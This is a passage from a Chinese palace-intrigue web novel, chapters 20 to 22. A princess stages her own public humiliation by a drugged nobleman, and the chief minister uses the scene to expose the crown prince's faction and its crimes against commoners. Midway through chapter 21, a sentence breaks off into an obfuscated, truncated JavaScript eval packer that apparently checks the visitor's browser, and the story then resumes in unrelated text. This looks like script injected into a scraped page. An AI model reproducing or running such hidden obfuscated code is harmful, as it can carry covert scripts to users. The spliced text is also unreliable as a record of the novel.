确实如少隐所想,很痛。几乎是在鞋尖碾过的刹那,江令薇的眼眶便飙出了泪水,撕裂般的疼痛在骨节处凝聚,顺着经络流向脏腑。 心,忽的有些绞痛。 连带着眼泪落个不停,额角青筋鼓起。 “殿下!”少隐拳头握得死紧,扬声大喊,有提醒,也有对周洪藏不住的杀心。 隐蔽处的百姓,以及和折青缠斗在一起的年轻男女听见这个称谓,面上皆是一愣。 萧朝之中,只有皇家子嗣能被尊称为“殿下”。 难不成……那瘦弱女子竟是宫中的公主?! 周家的公子在欺辱皇家公主! 这……真是要造反了吗? 20. 第 20 章 江令薇听得懂少隐的提醒,她强忍着剧烈的疼痛和心底骤然升腾出的杀意,让语气变得颤抖,“我……我是当朝十公主……” 声音虽然不大,但周围很安静,百姓们听得一清二楚。 !! 真是公主! 当众欺辱一朝公主,周家胆子大到了这种地步,萧朝是要变天了不成! 有人受不住当前骇人的氛围,拔腿想跑,但一回头就远远瞧见两百丈远的地方,有许多禁军在朝这边走来,每个人腰间都挎着锋利的刀剑。 在禁军前头,有一位着朱紫官服的男子。离得还是有些距离,看不太清是谁,但便是童稚小儿都知道,朱紫是什么样的人物才能穿。 完了,是他们忘了,今日百官下朝都会一起走,这条路正是必经之路。 这下是彻底走不了了,百姓们只能一边暗骂自己不早点离开,一边眼睁睁地看着禁军走近,而那个周家公子还浑然未觉,依旧在欺辱皇家公主。 少隐耳朵稍动,听到了后方的细微脚步声,整齐之中又夹杂着力度不一的迈步声。 向附近的折青投去一眼,她立刻明白。 在年轻男女明显进退两难,不知该用尽全力去解救那位公主,还是逃跑不要掺合到这种事情时,折青身影一闪,做出体力不支,狼狈奔逃的样子,躲到就近的岔路口。 年轻男女见状也没追,神色各异地杵在一边,不知该怎么办才好。 所有人视线聚集的墙角下,江令薇目不转睛盯着碎得不能再碎的念珠,一次次重复着自己的身份。周洪才不管什么公不公主的,他神智已经完全被毒药蚕食,没了半分理智,阴笑着又一次加大力度,完全是在有意折辱她。 平常有谁得罪狠了他,也是这般慢慢地肆意羞辱,直到死掉。 不怎么讨厌的,干脆杀了了事,讨厌极了的,不让人生不如死是不会停手的。 咔嚓时如约响起的同时,江令薇猛地抬头,眼里没了先前的怯懦与惊惧,取而代之的是“恨意”。 当精心做给父母的礼物被毁坏时,无论是谁都会生出浓烈恨意。她很明白这一点,但荒芜的内心生不出剧烈的情感,有的只是以杀心伪装成的“恨”。 她不恨他,她只是想杀他。 “这串念珠是送给我父皇护佑身体的,你实在胆大包天!”她死死盯着周洪,一字一顿说。 “父皇?”周洪唰的抽出腰间软剑,在江令薇愈加冷冽地注视下,剑尖绕暗处围观的百姓指了一圈,成功看到他们恐惧的眼神后,他放肆大笑,将碎成几瓣的念珠狠狠捣碎。 “什么护佑身体?”周洪剑指江令薇的眼睛,“敢惹本公子,公主也好,还是你所谓的父皇也罢,都得死!” 百姓们心头一颤,呼吸都放慢了。这是在……咒骂陛下吗? “你!” “去死吧!”周洪面目狰狞,把剑用力往她眼中刺。 “殿下快躲开!”少隐手指中夹着一枚银质暗器,破了皮的脖颈青筋寸寸显露,想杀周洪的心到了一个顶峰。 江令薇侧身闪避,已经血肉模糊的左手无力地垂在一边,另一只手紧握成拳,强行按耐出拳的冲动,抬眼看少隐,以及他身后越来越近的黑压压一片禁军。 还有那双瞳孔微缩的琥珀色眼眸。 只是一刹那的功夫,她放弃了与周洪打一架的想法,已经肿了的眼皮上下一碰,呜咽着趴到地上,双手颤抖地拢起地上已成碎块的念珠。 周洪一击不中,瞬间恼火,正想再刺下去,便听到江令薇哽咽到破音的声音,“我的念珠……我要杀了你!” 周洪像是听到了什么好笑的话,嘴角咧开,软剑蓦地转了一个方向,毫无预兆地刺向歪倒在草垛里的少隐腿上。 少隐能躲开,但思及此刻情况,咬着牙硬生生受了这一剑,鲜血与黑色衣摆融为一体,只能从地下那一滩深红的血渍中,窥见伤口有多深。 江令薇一怔,随即而来的,那双杏眸中的杀心几乎要凝出实质,化成刀剑,撕裂正在猖狂大笑的周洪。 少隐曾救了她一命,亦是恩人。 当着她的面,伤她的恩人,周洪实在不该活着,应该去死。 周洪不知她心里所想,若是知道,只怕还会挑衅似的再戳少隐几剑,接着说些大言不惭的话,就如同现在一样。 他貌若癫狂,握着剑来到街道中央,迸射出寒光的剑刃来回指向每一个人。 体内的药性在折青之前的设计下,已经达到了一个顶峰。周洪现在跟躁动的野兽没什么区别,不在乎身份地位,礼仪教养,只懂得用最凶恶的话语与蛮力来发泄那股暴烈的冲动。 “你们这些人给本公子听好了,皇家公主又如何?!我就是杀了你,杀光宫中子嗣,无人敢问罪我!” “整个京都,乃至萧朝上下,都是我太子表哥的!我表哥身体里有一半流着周家的血!我父亲位列太师,我兄长是下一任家主,我是周家二、公、子,我想如何就如何!” 越说,身体里的血液越热,越兴奋,犹如热水在沸腾,叫嚣着冲破每一寸肌肤,肆意宣泄心中的不忿与曾受到过的不公待遇。 “萧朝有一半是周家的天下!” 周洪说到兴头上,神情愈加疯癫,不少百姓听到这些大逆不道的话,都大受冲击,惊惧不已,恨不得消失在原地。 “住嘴!!” 一声气急败坏的怒吼声自后方响起。包括周洪在内的所有人都看向声音的源头。 年过半百的周太师气得脸红脖子粗,身边是周洪话里所谓“下一任家主”的周皓,他一改先前温和,面色难看地瞪着仍在胡言乱语的周洪。 两侧街道禁军无数,周洪刚才那番话简直是从胸腔里吼出来的,每位朝臣都听得清清楚楚,此刻的脸色都不算太好看。 恰巧天色也很暗,不过雨倒是停了,只一阵又一阵地刮着冷风,凉飕飕的。 看着这些平日里不得见的官宦权臣,百姓们不由倒抽一口冷气,视线在周太师与周皓,以及无数禁军身上来回,只觉今日出门真是个错误的决定。 眼下的情况,要是乱起来,一不注意,小命不保。 伴随着怒吼落下,周洪眼中红光淡了些。不过,当他看清父兄面上如出一辙的神态时,过往的回忆又一次涌现。 忽视、偏心、责骂、争吵、怒其不争…… 回忆与现实渐渐重叠,一模一样。 一股想要毁灭一切的想法在心里聚集,五官再度扭曲,凸起的眼珠死死地瞪着在场的每一个人,如同在思考从谁开始杀好一点。 百姓们纷纷站远了点,直觉告诉他们,这人似要发狂。 “周太师教子有方啊。”裴渡舟自两人身后走来,语气冷的足以凝成冰。“来人,摁住。” “是。”一侧的禁军听令,穿过受惊出声的人群,将红着眼想挥剑的周洪牢牢摁在地上,未出鞘的弯刀架在他脖子上与嘴巴边。 周太师完全说不出话,胡子乱颤,要不是周皓紧紧扶着他,恐怕这会儿已经气晕过去了。 当前的状况是谁也没有想到的,上一秒群臣还三三两两地扯着家常,民生,下一秒就有人当众说出那些大逆不道的话。 “丞相容禀,下官二弟自小便有狂病,向来脑子不清醒。也是下官这个做兄长的错,顾及情谊,疏于管教,才叫他在这胡言乱语,冒犯陛下,下官待会定马上进宫,亲自向陛下请罪。” 周皓站到周太师身前,神情很快恢复了镇定。似乎事实果真如他所说,是周洪有病,而非周家有不轨之心。 “周侍郎真会四两拨千斤。”裴渡舟语气仍旧冷冽,甚至比刚才还要刺人,琥珀色瞳孔似刀刃,剐着这位周家未来家主。 掩藏在官服下的右手手腕上,一颗如墨点小痣有了褪色的迹象,周侧皮肤滚烫得厉害。 熟悉裴渡舟的人知道,这是他生气的预兆,全身内力翻涌,发烫。 至于是因为什么动怒,若是记陆与罗玄在此,大抵会立刻反应过来,不是周家,亦不是周皓。 是那位蜷缩在墙角的狼狈公主。 “事实摆在眼前,周侍郎还在狡辩,周二公子字字句句皆是不臣之心,你们周家是把所有人当瞎子吗?!”本就一直对周家嚣张做派憋着气的舒祭酒愤而出言,看模样恨不得把姓周的人全送进牢狱拷打一番,才算解气。 “丞相与舒祭酒说的没错,周二公子那些话实乃天地不容!” 朝中清直官吏纷纷出声,街巷瞬间成了朝堂,你一言我一句,对着周洪声讨周家。 围观的百姓们惴惴不安,视线转来转去,在移到角落时,又不禁感到唏嘘,真没人管管墙角边那两位吗?特别是那位公主…… 百姓的想法无人知道,除了五皇子及其党羽偶尔会向那处瞥两眼,其余的人完全没发现。 激烈的指责还在继续。 碍于裴渡舟在此,太子党羽有力无处使,想回怼,临到嘴边,却又不敢。 周太师面色青了又白,浑身气血上涌,在晕死的边缘勉强撑着。关键时刻,周皓轻拍周太师手背,示意他别急。 “丞相以及各位大人实在误会,舍弟的确有病,并不是下官为了脱罪胡诌。所有曾为舍弟看过病的大夫,以及开的药方,购买的药材,下官回府命人整理之后,会一一呈于御前。”寻到一位官吏出言的空隙,周皓开口了,话语间毫不退让,“当然,诸位大人若是想亲自验证,待下官请罪回来,亦会将药方等派人送去各位大人府中查验。” 这一番话说得不卑不亢,又毫无推诿撇清责任的意图。快要晕过去的周太师松了一口气,对这个大儿子甚感欣慰。 舒祭酒与几位清直官吏对视一眼,看到了里彼此眼中的不甘心与愤懑,正欲再出言,周皓早有准备,维持着作揖的姿势,暗自向兵部尚书李德使了个眼色。 其余太子党羽皆惧怕裴渡舟威压,李德虽然也是如此,但惧怕要分个轻重缓急,这人官位高,此时必须要站出来,为他们说话,以作表率。 至于所谓药方,那都是小事,有钱有权什么搞不到。当务之急是把罪名先推脱掉。 李德接收到周皓的眼色,面皮抖个不停,深吸一口气,正准备说些打马虎眼的话搅稀泥时,便听有人大喊一声:“五殿下救救我家公主啊!” 群臣皆惊,是一位身着黑衣,腿部受伤的男子,看模样,是仆从。在他身后的草垛边,有一位女子的身影。 看了一场好戏的五皇子终于装模作样地惊呼,“十妹!” 起初周洪嘶吼的时候,距离还是有些远,百官只隐隐约约听到什么“无人问罪”,然后,就看见周太师二人忽然冲向前方,而周洪声音也愈发大,自然成了众矢之的,不曾注意到其他人。 五皇子从人群后面冲出来,直奔到前方墙角下,江令薇蜷缩在草垛边,随着草垛被五皇子推开,那张哭肿,有血迹的面容明晃晃掠过所有人眼底。 群臣视线不受控制地移向被禁军按住的周洪,以及脸色变来变去的周皓和周太师。 很多人都曾听闻江令薇日日进宫请安,这条路又靠近皇子所居的长安街,而左侧方还有两辆损毁严重的马车。 眼前的桩桩件件,只要是个正常人,都能想到此地之前发生了什么。 “十妹!怎么是你!别吓五哥啊……” 五皇子一边伸手把江令薇脸上湿发拂开,让众臣看的更清楚些,一边感概渡舟真是从不怜香惜玉。 早在眼尖看见江令薇的身影时,五皇子就已经明白渡舟把他这个十妹也卷了进来,大抵是为了让她做一块点火石,给周家再添一桩罪责。 闹市殴打公主,谋反之心昭然若揭。 只是苦了他这十妹,年纪轻轻,总是被羞辱啊。 “五哥……我的……”江令薇哽咽地看着五皇子,双手捧起地上碎成渣的念珠,“全都毁了,没了……” 鲜血淋漓的掌心间有着一些碴末木块,五皇子视线随着血迹流转到地上,青石地面有一道长长的拖曳的血痕,想来刚才她应是在找那些木珠。 真惨,不过,正和他意。不知道他高高 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江令薇知道,他此时心情很不好,因为她没按说好的来,擅自打乱计划。 可是,苦肉计不受伤怎么会起效。 依他之前的做法,她身上不会受什么伤。但那样一来,万一被人发现他们之间表里不一的关系要怎么办? 毕竟,她能从今日这件事情中获利。 是他说的,凡事要做就要做个彻底。没人会对盟友下这么重的手,算上反驳封赏那一次,如今是第二次了。父皇,朝臣便是有再大的疑虑也会打消。 江令薇垂着眼,似是在压抑哭腔。见她这样,裴渡舟怎会不知,她毫无悔意。之前朝堂之上,觉得他有错,用那种眼神看他。现在认为自己没错,把性命置之度外。 她真是越来越好了。 还有少隐,他尚不知两人之间的关系原来已经可以越过自己,一来一回配合得真是默契,不分你我! 乌云密布的天,偶闻几道轰隆雷声,让此刻的气氛更为紧张,令人头皮发麻。好几名站在裴渡舟身后的官吏不约而同地抖了抖肩,彼此对视一眼,看到了相同的惊骇。 裴丞相周身好似萦绕着一股莫名的……寒意。 江令薇敏锐地察觉到那道针对自己的愠怒,即使认为自己有理有据,但还是条件反射般地哆嗦了一下。五皇子以为她害怕周家,安慰道:“十妹,五哥在这,你不要怕,到底发生了什么,谁打的你,全部说出来,五哥一定会为你做主!” 说到最后,五皇子咬着牙,煞有其事地与周太师几欲冒火的眼神对上。 周皓脸上看不出来是何情绪,但是从额角迸现的青筋来看,心情必定是糟糕透了。 “十公主,您大胆说出来,千万不要害怕!您是天潢贵胄,皇家公主,周洪若是真如微臣猜想的那样,损毁呈给陛下的念珠,对您动手,微臣便是豁出性命,也要为您,为陛下讨一个公道!” 舒祭酒说得振振有词,就差指着周家人鼻子骂了。 至于所说的为陛下讨公道,听得群臣面色戚戚,尤其是周太师,一路上给他的“惊喜”实在太多了,此刻呼吸都有些不畅。 陛下到底还没死,太子到底还没登位,今天这些事情传出去,来日便是太子称帝,也会与他们周家有嫌隙。 都怪周洪那个不争气的东西! 周皓自然也明白这些浅显的道理,周家做派嚣张和直言萧朝有一半是周家的天下,当众殴打皇亲国戚,前者太子能容忍,后者太子万万不会忍的下去。 而且,不知怎的,他总觉得这件事没有那么简单,周洪那个蠢东西一定是被算计了,有人针对周家与太子,想搞事情。 周皓调整好略有些扭曲的神态,上前一步,准备以狂病为借口替周洪道歉,江令薇瞅准机会,忽然道:“是周洪。” 群臣哗然,但也没太大意外,周洪那副模样,看着就不像什么正常人。 五皇子不动声色地欣赏着周太师那张七窍生烟的老脸,心里大感快意,仗着有做皇后的姐姐,做太子的侄儿,平常对他们这些皇子多加为难。 现在总算笑不出来了吧! 见周太师像是想要说些什么,五皇子抢先一步道:“十妹,他是怎么做的,你不要顾忌,全部告诉我们,五哥一定——” “周洪罪该万死,竟敢冒犯您!”周皓蓦然打断五皇子的话,心里很快有了决断,“微臣没想到一时疏忽,没看住他,就造成这么大的过错。微臣实在愧对陛下对周家的提携,愧对天下百姓!事已至此,周洪交由公主全权处理,是生是死都全凭公主意愿,微臣以及周家绝不会干预!” 周皓姿态摆得极低,不过数言,便无情地定下了周洪的结局。 舒祭酒等人没想到周皓这么狠的下心,只好不甘不愿地咽下准备驳斥周皓求情的话。 围观的百姓也很惊讶,面面相觑。更别提所有人议论的中心,被刀把堵着嘴的周洪本人,双眸红的要滴血。 周太师不敢置信,隐秘地扯了扯周皓的衣摆。周洪是他亲弟啊!不过一个名不见经传的无宠公主,何至于此啊?! 周皓无动于衷,面上皆是对周洪冒犯江令薇的自责与愧疚,唯独没有不舍。 他越想越不对劲,不论是周洪欺辱江令薇被群臣,百姓撞见,还是念珠刚要献给陛下便被损毁,都绝不是巧合二字能够解释的。 还有平时一直很低调的五皇子竟然一反常态,对他们周家咄咄逼人,不要说是什么为幼妹打抱不平,天家何来亲情? 周家平时做派是嚣张,那几个表弟堂妹混蛋事也没少做,但在他眼里,那不过是一些鸡毛蒜皮的小事,不值当递去眼神。 但今日不同,万万不同。 也许,这一年来裴渡舟不再针对周家,和半年前周洪愈发沉迷女色,酗酒鬼混,都是有人故意为之。 为了让周家放松警惕心,让他们越来越拎不清,譬如曾经的他,此刻的父亲。 欲使其亡,必令其狂。 21. 第 21 章 周皓心中后悔,但表面上不见太大的波澜。 五皇子不太甘心事情这么算了,暗自看向裴渡舟,他没说话,但五皇子跟他多年情谊,立刻明白了其中的意思,那是要自己耐心等待,最好再扯一些有的没的拖延时间。 五皇子心里有底,做出一副为妹妹着想的好哥哥模样,对着江令薇道:“十妹,五哥知道那串念珠你费了多大的劲,现在就这么没了,五哥真的为你感到不值,你身上这么多伤……” “微臣知晓周洪罪孽滔天,公主身上的伤,还有念珠,微臣定会寻尽世间名医工匠,给公主一个交代。”周皓立刻接话,“公主身上有伤,还是先行医治,微臣亲自送公主进宫,再向陛下请罪,不知公主意下如何?” 现在他只想赶快把这件事敷衍过去,离开这里才安心。 江令薇木然地流着泪,乌黑的瞳仁里蓄满了剔透的水泽,身上处处是血迹与脏污。面对周皓的询问,她呜咽了一下,抬起脑袋,掠过面色各异的大臣,看向远处被禁军按着的周洪,以及挡住周洪半边身子的高大身形。 在一众朝臣的对比下,他的身形,相貌仍是超尘拔俗。 朗星般的眸子不含任何温度,居高临下地望着她。 江令薇又小幅度地哆嗦了下,明明心里有万千说辞应对他事后的算账,但依然为他的目光感到脊背发凉。 不过当务之急是做戏,刚才那一眼,在周洪附近围观的那一片百姓里,有一个身穿熟悉衣物的身影,距周洪没多远。 此刻,再拖延一会儿就行了。 在众人各异的视线下,江令薇哽咽着似是想要开口,但临到嘴边,却没有一句话,把等待她回复的周皓搞得心中愈发焦急,不过他面上依旧不显,又开口问了一遍,姿态摆得更加恭顺。 周皓余光里见姓周的臣子从刚才到现在仍不言不语,心中冷笑,今日这件事倒是让他看清了家族里有多少蛀虫,难道以为没了他长房的人,他们就能掌控周家吗? 可笑到了极点。 江令薇不说话,但五皇子可不会放过这个拖延时机的好机会,凭着为江令薇打抱不平的借口,指责周皓图谋不轨。 周皓简直要气笑了,明白对方就是在胡搅蛮缠,连装都不装了! 正当他想搬出太子名头,快刀斩乱麻时,一道熟悉的怒吼声自后方响起。 “滚开!!” 周皓脑海里轰隆一声,有什么东西炸开了。 后方,周洪不知何故竟是挣脱了禁军的束缚,瞅准机会拔出禁军腰间的弯刀,来回指着所有人,跟刚才不同,现在的他,许是受了刺激,力气极大,禁军一时都有些束手无策。 “狂病?!哈哈哈,周皓,你骗谁啊?!”周洪放肆大笑,全身皮肤发红,对围着他的禁军就是一顿狂砍。 朝中文官较多,多数上了年纪,见了当下的情况,一颗心仿佛都要跳出嗓子眼。 周太师终于还是受不住刺激,两眼一黑,直挺挺地晕了过去。 太子党羽也乱成一团,兵部尚书李德见势不对,想命人给太子报信,却被裴渡舟淡淡地看了一眼,“所有人后退,小心被疯子伤到。” “来人,保护五皇子和朝臣百姓。” 两侧的禁军领命,分出一些人手团团围住包括周皓在内的所有人,以及尖叫出声的百姓们。 李德被那犹如看死人的目光吓住,颤颤巍巍地不敢出声。其余人见领头的都这样,更加不敢有小动作。 周皓面色极其难看,顾不上倒在地面的周太师,想要冲出去阻止周洪,却被禁军拦着,走不动一步。 “先让开,”周皓死死瞪着身前的几名禁军,“本官是他亲哥,有阻止他发病的法子!” “这……”禁军有些犹豫。 “周侍郎,脑中有疾的人发起病来可是六亲不认的,本相也是为了大家着想,还请你后退。”裴渡舟平静地开口。 “丞相有所不知,周——” “听不见吗?这么多人连一个周洪都束手无策,要你们有何用!”裴渡舟倏然加重了语气。 几名禁军吓得冷汗涔涔,立刻围在一起把周皓想冲出去的空隙堵死。 周皓气得牙痒痒,面色一阵红一阵白。 后方的五皇子看得浑身舒畅,好心情地欣赏着晕死过去,无人在意的周太师,和急得犹如热锅上的蚂蚁的周皓,面上偶尔闪过几道扭曲的愉悦。 江令薇也目不转睛地看着,星点血渍斑驳在她眼下,为那双黑白分明的杏眸平添了几分倔强与桀骜,表情依旧悲痛,但无人得见的瞳仁深处却蛰伏了一道杀意。 这么长时间的等待与准备,终于等到这一刻了。 酷爱做戏的兄妹俩,在身前混乱的刺激下,面上的神情在须臾间竟然如出一辙,显露出一种近乎天生的孤冷与不近人情。 身上流淌的相同血液在沸腾,躁动。 无一例外的,他们察觉过后全把这种情况解释为一些看似合乎情理的答案。 譬如,他认为是受周家欺压太久了。她觉得是想杀了周洪的心在作祟。 很有默契。 彼此移开眼神后,又互相关怀一句。 “十妹别怕,五哥在这,没人能伤害你。” “多谢五哥……” “跟我客气什么,兄妹之间何须言谢。” “嗯……” 虚假的关心言谢后,又再次不约而同地注视着前方。 没人注意他们,所有人全被发狂的周洪吸引了注意力。 除了面色冷峻的裴渡舟,琥珀色的眸子掠过他们有些亲密的姿态,在她流血的左手间顿住,勉强压下那些不该有的嫉妒。 “我周洪没病!” “萧朝就是周家的天下!周皓,你装什么忠臣啊!” “什么愧对陛下,你们背地里都咒他死啊!活不长久,不如早点死!哈哈哈哈……” 周洪脚步颠倒,弯刀乱舞,一边大骂,一边大笑。 偏他力气变得极大,偶尔被禁军找到机会要制住时,一脚踹去,训练有素的禁军都挨不住。 听到这番狼子野心的话,群臣心里皆是七上八下,惶恐不安。百姓们缩在角落里,大气都不敢喘,那个身穿江令薇熟悉衣物的人也藏在其中,随着大家一起瑟瑟发抖。 周皓气到极致,反而冷静了下来,不顾群臣异样的眼光,扬声高喊:“周洪!别犯病了,今日是朝暮节,母亲还在家等你,平日里母亲对你还不够好?你要让她活活担心死吗?!” 提到周夫人,周洪的咒骂声明显小了许多,周皓见有效,立马接着道:“母亲天天记挂你,家里人为了让你不多想,暗中给你每日的膳食里掺着药,不让你知道,你以为自己没病,别犯傻了!别让母亲再为你担忧了,二弟,你听到——” “草民有冤啊!!” 一道夹杂着许多人声音的凄厉高喊猝不及防地响起,打断了周皓的话。 为了擒住周洪和保护朝臣百姓,开路的禁军纷纷出动,一时没人在街道左边值守,让一群面色愤愤的,看起来像是乞丐的人冲了进来。 之前周皓的高喊的确很有效果,周洪眼中红光渐消,被眼疾手快的禁军一把反制住手脚,往后脑勺劈了一记手刀,软趴趴瘫倒在地。 周皓的心悬在高空,盯着那些衣衫褴褛的人,脑海中刮起狂风暴雨。到了现在,一切都明白了,今天发生的所有就是一场为周家而作的,环环相扣的“好戏”! 幕后之人,除了当今陛下的爪牙裴渡舟,不会有其他人。 “你们有何冤屈?”裴渡舟从禁军后面信步走来,眉峰轻蹙,“呈冤需去县衙。赤脚旧衣,冻疮皲裂,你们不是京都人士。” 最后一句非询问,而是肯定。 群臣中的京兆尹和几位京中知县俱是或多或少地变了脸色,求救般地看向兵部尚书李德,很明显对当下发展有些慌乱无措。 李德哆嗦地擦去额上不存在的汗水,心中焦躁,他自己也是不知该怎么办才好,他只看一眼那群乞丐样的人,就知道多半是为了太子和周家来寻仇的。可是,这些人不是都死绝了吗?!难道天下还有借尸还魂的法子! 一年有余的“安稳”日子,裴渡舟不再针对,皇帝年迈将死。 基于这些原因,太子一年以来行事可谓是嚣张至极。既有高贵的出身,名正言顺的身份,又有这么多臣子追随,更别提暗中策反的州府将领。 有钱有权,有身份有地位,连带着外祖周家做事也愈发随心所欲,半年多的抢夺民女民男还只是明面上的,内地里沾的人命数也数不清。 如李德这些效忠太子之人,不知为周家和太子本人压下了多少作奸犯科的糊涂事。 此刻,看着被禁军以刀剑相向的那群百姓,联想到出宫后发生的种种事情,一些聪明人差不多反应了过来。 今日太子和周家只怕是不会好过。 与太子党羽的面面相觑,慌乱无措不同,朝中清直官吏皆是如舒祭酒一般,痛心地看着百姓的褴褛衣物,裸露在外的伤口,又气又自责难安。 江令薇和五皇子不动声色地观察着当前的状况,心思各异。少隐早在周洪被制服时,穿过层层围着的禁军,一瘸一拐地来到江令薇身边,小心翼翼地从五皇子手中接过她。 五皇子扫了眼少隐的伤势,余光又看向江令薇还在滴血的左手,心思千回百转,绝口不提先送她回府医治的事,当前的好戏还没完,说不定还有用的上他这十妹的地方,暂且先等等。 况且,那只手是左手,就是废了残了也不会有多大的影响,将来等他掌权,看在她听话的份上,荣华富贵不会少她的。他自问是个贤良的主子。 五皇子想罢,又用多数人能听到的声音叹息道:“真是造孽,看样子都是群可怜人。” 江令薇哽咽着敷衍了几句,她注意力此刻已经移到少隐伤口上,她用眼神询问他还能撑得住吗?虽然她自己的伤口也一直传来绞痛,但勉强还能忍一忍,她也怕万一离开后还有什么需要自己做戏的地方。 听到她的问询,少隐面具下的黑眸恍惚间有波光流动,看着她盛满关心的眼睛,他的心跳毫无预兆地加快,耳朵也不知不觉变红了。所幸天色暗沉,没人发现他的异常。 见他仿佛愣住了般,江令薇眉头轻蹙,耐着性子用胳膊肘撞了撞他。 少隐这才如梦初醒似的,眼睛瞥向另一边,下意识地不敢与她对视,只小幅度地点了点头。 江令薇以为他忍痛忍得有些意识发懵,思考了一下当前的境况,侧过身子在他耳边小声道:“等他们告完状,我们就走,你且再忍忍。” 声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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景阳知县也忽然反应过来,呼吸瞬间骤停,像是有一只无形的手攥住了他的喉咙,说不出一句话。 陛下早已不理朝政,都是交给太子和裴丞相处理。刚才说那种话,是明晃晃地将罪名推到两人身上,虽然太子确实不怎么清白,但绝不能明说,否则悄悄杀那么多人还有什么意义,名声全毁了。 而推到裴丞相那,更是一个蠢的不能再蠢的做法,因为他根本没收到与案子有关的折子啊。 他大可以直说自己根本不知道。就算大着胆子诬陷,可他们本来就没有一级一级地往上奏报,都是在太子或者李尚书不耐烦的指令下,派人杀了完事,这其中种种随便一查就会水落石出。 和现在吓得艰难吸气的景阳知县一样,太子一党的朝臣对这些事情都了解的很清楚,大家都是一丘之貉,在周家与太子这艘大船下,没人能做清白的忠臣。 “本相从未收到过死刑的折子。”裴渡舟掀开眼皮看李德,眸中的冷光直将对方看得心神震颤,好不容易才积攒的威严霎时散了个干净。“还是说,李尚书转递给了太子殿下?” 朝中庶务繁重,这一年来,例如这种审案之类的事情,惯例是向裴渡舟奏报的。 李德也说不出话了,因为说什么都有错处。别说纸包不住火,他们连那张纸都懒得准备,已经完全沉浸在太子即将登基的美梦中,不可自拔。 果不其然,裴渡舟道:“那也可,尚书和知县将相关的文书,状纸呈上来。此事事关重大,本相会亲自进宫交由陛下定夺。” 李德脸上血色尽消,苍白的嘴抖个不停,但就是找不到一个好理由来解释。兵部侍郎李兴站在最角落里,看着弟弟李德惊慌的样子,心中思索的同时还是免不了一阵由衷的畅快,什么都比不上她,却什么都能超过她。 老天真是偏。 旁观了这场闹剧的舒祭酒气得胡子乱颤,“李尚书,你们要是清白的,就让人把文书取来,但若是欺君罔上,残害百姓,莫说陛下,我就是拼了这把老骨头,不要命了,也万万容你们不得!” 听到这话,周皓面上讽刺之意溢于言表,他忽视李德求救的眼神,去后面扶起躺了半天,身上不知被谁踩了很多脚的周太师。有些事情,在反应过来的那一刻,其实就已经来不及了。他很明白,现在做什么都是无用功。 “李尚书!” “大人不要再说了,他们就是心虚啊!!” 那群人中有认得舒祭酒的百姓忽然出声,明明年岁不大,可鬓边头发几乎全白,他赤红着双眼,将一个身上到处有淤青的男人扯到身前来,一边朝他的伤势衣着比划,一边指着太子党羽破口大骂。 “我们这些人里,他是景阳县人,天子脚下,就因为出门不慎撞到了一只灰狗,被人抓进牢狱关了数天,罪名是莫须有的偷盗,他不认,他们就屈打成招!好不容易回到家中,幼弟双亲却全部死于非命! 杀了人的衙役甚至都没走,手上刀刃沾着血,那些人勒住他脖子,告诉他活该,谁叫他得罪了贵人!幸好老天有眼,他没死!又从乱葬岗爬了回来。想报仇,拼命打听,却不想那些衙役认出了他,又是一顿毒打,差点被活埋,每日都在逃窜,家也不敢回。 偌大的京师,人却还活的不如条狗!” 22. 第 22 章 足以穿破人心的尖利嗓音响彻在每个人耳边,在那人说完后,场面有一瞬间的凝滞,这一瞬间的感觉十分漫长。 天边忽有一声惊雷炸响。 轰隆—— 许多人都不由自主地抖了抖,其中,太子党羽尤甚。而作为领头之人的李德,也总算在轰鸣的雷声过后找回了自己的声音。 他死命忍着胸膛间呼之欲出的惊惧,深吸一口气,尽量让声音平缓下来,“你放心,本官——” “尚书大人!你以为有这种遭遇的人只有他吗?”白发百姓面露讥讽,长满冻疮的手毫不客气地指着李德,“你以为就只有景阳知县做过这样的事吗?你自己做的不比别人少!” “你含血——” “我敢以全家性命起誓,今日说的话,没有一点虚假!” “以别人性命来起誓,你又是什么好人!枉本官之前还信以为真要帮你讨回公道!”李德怒目圆睁,眼里几乎要冒出火,“说不定你全家早已不在,九泉之下还要听你这个不孝子用他们的性命诬陷别人!” “你没说错,他们早死了!” “大家看啊!不打自招,他们就是一群——” 李德的话再一次被打断,白发百姓的嗓音特别尖亮,他怒喝道:“他们早就死在你李尚书的手上,承明三十八年春,你为了一己私利,强让我年过五十的父母去南羌,名义上是要去南羌边境通商,可我等了两年,整整两年,朝廷半点消息都没有,我父母就这么不见了! 我到处塞钱求情,想要见你一面,结果处处碰壁。你手底下的人收了钱一直吊着我,你去马行街邻里左右问问,谁人不知,张牙人家的儿子日日往你兵部衙门跑!我——” “什么通商,完全是你在捏造事实!你自己爱往兵部衙门跑,难道还要赖到本官头上吗!”李德连忙挤着嗓子冲年轻百姓大喝,嘴唇不住颤抖,分不清是气的还是心虚。 太子党羽内心无比忐忑,他们或多或少听说过这件事,那人说的其实没有错,的确是为了一己私利。有些朝臣想为李德帮腔,可又怕自己被那群人揪出什么错处来,到时候太子碍于颜面,必定会让他们成为弃子。 就如现在面如死灰的景阳知县一样,不管事情最后变成什么样,他的前程绝对是毁了。 “你心虚了是吗?!” “胡说八道!本官清清白白!本官——” “好了!”裴渡舟微冷的声线在每个人耳边响起,听起来不是很耐烦,“李尚书,为官者当心系百姓,听人说完,你不要插嘴。” 李德顿时只觉天旋地转,整个人都不好了,着急地回头,看着身后沉默的朝臣,他是又气又怕,死到临头了,这群人还在当哑巴! 五皇子及其部下乐的看戏,眼里都是幸灾乐祸。 身旁的江令薇眼眶倒是很红,但其中并没有泪水和同情,有的只是一如既往的漠然。似数九寒冬的冰雪,被风裹挟着四处飘零,看世人经历的一切,她身处其中,可心始终游离在外。 少隐鬼使神差地偷偷瞧了她一眼,果不其然看到那种熟悉的眼神,他低叹一声,压住心里那种仿佛被针扎的感觉。 苦中作乐地想着,也挺好的,历来帝王皆无情,殿下果然是做君主的好料子。 没了李德的阻挠,在所有人神思各异的注视下,白发百姓激愤喝道:“我一锭一锭银子撒下去,几乎变卖大半家资,有一天夜里终于被我逮到机会,你手底下人醉酒告诉我,从头到尾就没有什么通商,是你李德!贪图南羌奇珍异宝,抓了我精通番邦语的父母为你卖命,南羌苦寒,毒虫肆虐,我父母一把年纪,怎么受得了啊! 